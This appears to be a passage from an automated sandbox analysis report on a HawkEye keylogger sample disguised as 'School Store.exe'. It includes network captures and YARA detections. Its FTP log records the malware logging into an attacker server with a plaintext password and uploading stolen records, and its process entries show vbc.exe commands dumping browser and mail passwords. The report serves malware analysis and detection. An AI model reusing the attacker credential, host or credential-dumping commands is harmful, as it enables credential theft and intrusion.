RT_MANIFEST	0x13c3dc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2014
Assembly Version	1.0.0.0
InternalName	School Store.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	School Store
ProductVersion	1.0.0.0
FileDescription	School Store
OriginalFilename	School Store.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/27/21-11:13:57.548141	TCP	2020410	ET TROJAN HawkEye Keylogger FTP	49759	21	192.168.2.6	45.141.152.18

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2021 11:12:38.004704952 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.035362005 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.035525084 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.120166063 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.152570963 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.156857014 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.156893015 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.156913042 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.156929970 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.156981945 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.157016993 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.162892103 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.193281889 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.255975008 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.275943995 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.311923027 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364185095 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364217997 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364242077 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364264965 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364276886 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.364290953 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.364321947 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.366306067 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.366338015 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.366378069 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.369270086 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.369317055 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.369393110 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.370640993 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.370682001 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.370968103 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.372703075 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.372740030 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.372997999 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.374768972 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.374871969 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.375108004 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.393016100 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.393059969 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.393167973 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.394041061 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.394082069 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.396200895 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.396239996 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.397165060 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.397195101 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.398283958 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.398318052 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.398374081 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.401366949 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.401405096 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.401465893 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.402595043 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.402637005 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.402661085 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.404695988 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.404733896 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.404792070 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.406888008 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.406929016 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.406982899 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.409008980 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.409041882 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.409085035 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.410937071 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.410981894 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.411027908 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.413002014 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.413044930 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.413091898 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.415323019 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.415364027 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.415436029 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:38.416969061 CEST	443	49723	142.250.185.196	192.168.2.6
Jul 27, 2021 11:12:38.417072058 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:12:41.955709934 CEST	49723	443	192.168.2.6	142.250.185.196
Jul 27, 2021 11:13:57.354295015 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.371767998 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.371943951 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.391149998 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.392607927 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.409681082 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.409714937 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.411021948 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.448457956 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.448874950 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.468286037 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.469412088 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.490956068 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.491383076 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.511980057 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.512717009 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.529757023 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.530658960 CEST	49760	62998	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.547650099 CEST	62998	49760	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.547832012 CEST	49760	62998	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.548141003 CEST	49759	21	192.168.2.6	45.141.152.18
Jul 27, 2021 11:13:57.565314054 CEST	21	49759	45.141.152.18	192.168.2.6
Jul 27, 2021 11:13:57.566169977 CEST	49760	62998	192.168.2.6	45.141.152.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2021 11:12:26.811398983 CEST	58384	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:26.847327948 CEST	53	58384	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:28.179333925 CEST	60261	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:28.216945887 CEST	53	60261	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:29.609999895 CEST	56061	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:29.637172937 CEST	53	56061	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:31.046468019 CEST	58336	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:31.074786901 CEST	53	58336	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:32.333125114 CEST	53781	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:32.371471882 CEST	53	53781	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:33.807626963 CEST	54064	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:33.835478067 CEST	53	54064	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:37.748260021 CEST	52811	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:37.778223038 CEST	53	52811	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:37.949403048 CEST	55299	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:37.983450890 CEST	53	55299	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:38.387200117 CEST	63745	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:38.420815945 CEST	53	63745	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:38.427440882 CEST	50055	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:38.467489004 CEST	53	50055	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:38.516799927 CEST	61374	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:38.544190884 CEST	53	61374	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:42.191471100 CEST	50339	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:42.219085932 CEST	53	50339	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:43.345118046 CEST	63307	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:43.370163918 CEST	53	63307	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:44.052190065 CEST	49694	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:44.089912891 CEST	53	49694	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:45.141823053 CEST	54982	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:45.168000937 CEST	53	54982	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:52.581732988 CEST	50010	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:52.618264914 CEST	53	50010	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:53.325315952 CEST	63718	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:53.354928970 CEST	53	63718	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:54.279099941 CEST	62116	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:54.307617903 CEST	53	62116	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:55.026343107 CEST	63816	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:55.054486990 CEST	53	63816	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:55.685601950 CEST	55014	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:55.713165045 CEST	53	55014	8.8.8.8	192.168.2.6
Jul 27, 2021 11:12:56.341555119 CEST	62208	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:12:56.377067089 CEST	53	62208	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:01.275891066 CEST	57574	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:01.317720890 CEST	53	57574	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:20.977112055 CEST	51818	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:21.015315056 CEST	53	51818	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:21.588793993 CEST	56628	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:21.595165014 CEST	60778	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:21.625858068 CEST	53	56628	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:21.630134106 CEST	53	60778	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:22.340476036 CEST	53799	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:22.387789965 CEST	53	53799	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:22.504103899 CEST	54683	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:22.555233002 CEST	53	54683	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:22.717168093 CEST	59329	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:22.751437902 CEST	53	59329	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:23.209939957 CEST	64021	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:23.248761892 CEST	53	64021	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:23.674868107 CEST	56129	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:23.708580017 CEST	53	56129	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:24.213399887 CEST	58177	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:24.249105930 CEST	53	58177	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:25.044179916 CEST	50700	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:25.079263926 CEST	53	50700	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:26.454029083 CEST	54069	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:26.493941069 CEST	53	54069	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:26.940085888 CEST	61178	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:26.976125956 CEST	53	61178	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:35.773598909 CEST	57017	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:35.812918901 CEST	53	57017	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:37.908514977 CEST	56327	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:37.945442915 CEST	53	56327	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:39.891526937 CEST	50243	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:39.927301884 CEST	53	50243	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:43.174030066 CEST	62055	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:43.212934971 CEST	53	62055	8.8.8.8	192.168.2.6
Jul 27, 2021 11:13:57.284341097 CEST	61249	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:13:57.328638077 CEST	53	61249	8.8.8.8	192.168.2.6
Jul 27, 2021 11:14:04.985260010 CEST	65252	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:14:05.025580883 CEST	53	65252	8.8.8.8	192.168.2.6
Jul 27, 2021 11:14:11.354195118 CEST	64367	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:14:11.389573097 CEST	53	64367	8.8.8.8	192.168.2.6
Jul 27, 2021 11:14:13.215167999 CEST	55066	53	192.168.2.6	8.8.8.8
Jul 27, 2021 11:14:13.250876904 CEST	53	55066	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 27, 2021 11:12:37.949403048 CEST	192.168.2.6	8.8.8.8	0xc470	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Jul 27, 2021 11:13:43.174030066 CEST	192.168.2.6	8.8.8.8	0xadd5	Standard query (0)	146.215.12.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Jul 27, 2021 11:13:57.284341097 CEST	192.168.2.6	8.8.8.8	0xdc03	Standard query (0)	ftp.vngpack.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 27, 2021 11:12:37.983450890 CEST	8.8.8.8	192.168.2.6	0xc470	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)
Jul 27, 2021 11:13:43.212934971 CEST	8.8.8.8	192.168.2.6	0xadd5	Name error (3)	146.215.12.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Jul 27, 2021 11:13:57.328638077 CEST	8.8.8.8	192.168.2.6	0xdc03	No error (0)	ftp.vngpack.com		45.141.152.18	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 27, 2021 11:12:38.156929970 CEST	142.250.185.196	443	192.168.2.6	49723	CN=www.google.com CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Mon Jun 28 06:12:58 CEST 2021 Thu Aug 13 02:00:42 CEST 2020 Fri Jun 19 02:00:42 CEST 2020	Mon Sep 20 06:12:57 CEST 2021 Thu Sep 30 02:00:42 CEST 2027 Fri Jan 28 01:00:42 CET 2028	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=GTS CA 1C3, O=Google Trust Services LLC, C=US	CN=GTS Root R1, O=Google Trust Services LLC, C=US	Thu Aug 13 02:00:42 CEST 2020	Thu Sep 30 02:00:42 CEST 2027
					CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Fri Jun 19 02:00:42 CEST 2020	Fri Jan 28 01:00:42 CET 2028

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 27, 2021 11:13:57.391149998 CEST	21	49759	45.141.152.18	192.168.2.6	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 8 of 50 allowed.220-Local time is now 05:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Jul 27, 2021 11:13:57.392607927 CEST	49759	21	192.168.2.6	45.141.152.18	USER newloggsaa@vngpack.com
Jul 27, 2021 11:13:57.409714937 CEST	21	49759	45.141.152.18	192.168.2.6	331 User newloggsaa@vngpack.com OK. Password required
Jul 27, 2021 11:13:57.411021948 CEST	49759	21	192.168.2.6	45.141.152.18	PASS Xpen2000
Jul 27, 2021 11:13:57.448457956 CEST	21	49759	45.141.152.18	192.168.2.6	230 OK. Current restricted directory is /
Jul 27, 2021 11:13:57.468286037 CEST	21	49759	45.141.152.18	192.168.2.6	504 Unknown command
Jul 27, 2021 11:13:57.469412088 CEST	49759	21	192.168.2.6	45.141.152.18	PWD
Jul 27, 2021 11:13:57.490956068 CEST	21	49759	45.141.152.18	192.168.2.6	257 "/" is your current location
Jul 27, 2021 11:13:57.491383076 CEST	49759	21	192.168.2.6	45.141.152.18	TYPE I
Jul 27, 2021 11:13:57.511980057 CEST	21	49759	45.141.152.18	192.168.2.6	200 TYPE is now 8-bit binary
Jul 27, 2021 11:13:57.512717009 CEST	49759	21	192.168.2.6	45.141.152.18	PASV
Jul 27, 2021 11:13:57.529757023 CEST	21	49759	45.141.152.18	192.168.2.6	227 Entering Passive Mode (45,141,152,18,246,22)
Jul 27, 2021 11:13:57.548141003 CEST	49759	21	192.168.2.6	45.141.152.18	STOR HawkEye_Keylogger_Stealer_Records_841618 7.27.2021 11:21:35 AM.txt
Jul 27, 2021 11:13:57.565314054 CEST	21	49759	45.141.152.18	192.168.2.6	150 Accepted data connection
Jul 27, 2021 11:13:57.589210987 CEST	21	49759	45.141.152.18	192.168.2.6	226-File successfully transferred 226-File successfully transferred226 0.024 seconds (measured here), 62.73 Kbytes per second

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: ypBoHI5G3x.exe PID: 6504 Parent PID: 6124

General

Start time:	11:12:34
Start date:	27/07/2021
Path:	C:\Users\user\Desktop\ypBoHI5G3x.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ypBoHI5G3x.exe'
Imagebase:	0xc30000
File size:	1287680 bytes
MD5 hash:	08D679D4B9A12137756CC9244BD6F017
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: InstallUtil.exe PID: 6456 Parent PID: 6504

General

Start time:	11:13:26
Start date:	27/07/2021
Path:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Imagebase:	0x8b0000
File size:	41064 bytes
MD5 hash:	EFEC8C379D165E3F33B536739AEE26A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 0000000C.00000002.613574939.0000000008110000.00000004.00000001.sdmp, Author: Arnim Rupp Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 0000000C.00000002.612974883.0000000007750000.00000004.00000001.sdmp, Author: Arnim Rupp Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Analysis Process: vbc.exe PID: 5560 Parent PID: 6456

General

Start time:	11:13:49
Start date:	27/07/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: vbc.exe PID: 5432 Parent PID: 6456

General

Start time:	11:13:49
Start date:	27/07/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000002.491218277.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

